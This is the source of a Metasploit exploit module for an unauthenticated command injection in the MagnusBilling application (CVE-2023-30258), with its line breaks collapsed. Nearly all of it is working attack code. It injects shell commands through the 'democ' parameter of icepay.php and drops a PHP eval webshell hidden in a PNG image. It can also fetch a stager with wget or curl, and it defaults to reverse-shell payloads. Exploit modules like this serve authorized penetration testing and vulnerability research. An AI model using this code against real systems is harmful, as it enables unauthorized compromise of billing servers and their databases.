MagnusBilling Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  include Msf::Exploit::Format::PhpPayloadPng  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MagnusBilling application unauthenticated Remote Command Execution.',        'Description' => %q{          A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows          remote attackers to run arbitrary commands via unauthenticated HTTP request.          A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().          The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and          not properly sanitised/escaped.          After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.          The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.          At a minimum, this allows an attacker to compromise the billing system and its database.          The following MagnusBilling applications are vulnerable:          - MagnusBilling application version 6 (all versions);          - MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Eldstal' # Discovery of the vulnerability        ],        'References' => [          ['CVE', '2023-30258'],          ['URL', 'https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258'],          ['URL', 'https://eldstal.se/advisories/230327-magnusbilling.html']        ],        'DisclosureDate' => '2023-06-26',        'Platform' => ['php', 'unix', 'linux'],        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => true,        'Targets' => [          [            'PHP',            {              'Platform' => ['php'],              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],              'Linemax' => 2048,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The MagnusBilling endpoint URL', '/mbilling' ]),      OptString.new('WEBSHELL', [        false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil      ], conditions: %w[TARGET == 0])    ])  end  def execute_command(cmd, _opts = {})    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', 'icepay.php'),      'vars_get' =>        {          'democ' => "/dev/null;#{cmd};#"        }    })  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        @post_param => payload      }    })  end  def upload_webshell    # randomize file name if option WEBSHELL is not set    @webshell_name = if datastore['WEBSHELL'].blank?                       "#{Rex::Text.rand_text_alpha(8..16)}.php"                     else                       datastore['WEBSHELL'].to_s                     end    @post_param = Rex::Text.rand_text_alphanumeric(1..8)    # inject PHP payload into the PLTE chunk of a PNG image to hide the payload    php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"    png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')    return nil if png_webshell.nil?    # encode webshell data, set write and execute permissions and write to file on the target for execution    payload = Base64.strict_encode64(png_webshell.to_s)    cmd = "chmod 755 ./;echo #{payload}|base64 -d > ./#{@webshell_name}"    execute_command(cmd)  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi!({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path)    })    # Check if target is a magnusbilling application    return CheckCode::Unknown('No response received from target.') unless res    return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i    # blind command injection using sleep command    sleep_time = rand(4..8)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    _res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time    CheckCode::Vulnerable('Successfully tested command injection.')  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :php      res = upload_webshell      fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200      register_file_for_cleanup(@webshell_name.to_s)      execute_php(payload.encoded)    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend